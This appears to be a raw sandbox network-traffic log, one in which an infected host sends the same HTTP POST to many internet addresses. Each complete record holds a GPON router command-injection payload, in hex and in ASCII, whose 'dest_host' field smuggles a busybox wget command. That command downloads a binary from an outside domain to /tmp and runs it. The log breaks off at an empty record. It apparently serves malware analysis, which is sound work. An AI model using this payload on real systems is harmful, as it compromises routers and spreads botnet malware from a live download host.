Session ID	Source IP	Source Port	Destination IP	Destination Port
2461	192.168.2.13	42452	109.175.37.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402966022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2462	192.168.2.13	48776	42.239.177.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403001070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2463	192.168.2.13	41812	212.159.134.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403021097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2464	192.168.2.13	39154	109.112.9.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403038025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2465	192.168.2.13	36926	42.81.217.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403064013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2466	192.168.2.13	49124	202.201.203.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403100014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2467	192.168.2.13	56052	5.39.193.249	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403146029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2468	192.168.2.13	38798	148.130.91.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403171062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2469	192.168.2.13	49772	212.128.7.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403172970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2470	192.168.2.13	52878	5.244.95.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403206110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2471	192.168.2.13	33286	118.91.138.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403208017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2472	192.168.2.13	55014	212.100.191.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403234959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2473	192.168.2.13	46236	109.90.57.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403268099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2474	192.168.2.13	39980	202.151.233.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403295994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2475	192.168.2.13	46190	5.38.234.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403321028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2476	192.168.2.13	41716	109.173.104.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403337002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2477	192.168.2.13	60196	42.103.22.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403352976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2478	192.168.2.13	40026	94.69.73.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403376102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2479	192.168.2.13	58426	117.204.62.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403408051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2480	192.168.2.13	39768	202.5.241.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403415918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2481	192.168.2.13	41456	210.39.115.66	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403439045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2482	192.168.2.13	59816	79.38.223.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403479099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2483	192.168.2.13	38088	79.167.53.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403501987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2484	192.168.2.13	38572	2.167.134.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403536081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2485	192.168.2.13	47440	37.208.114.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.403544903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2486	192.168.2.13	56772	118.120.62.62	443

Timestamp	Bytes transferred	Direction	Data
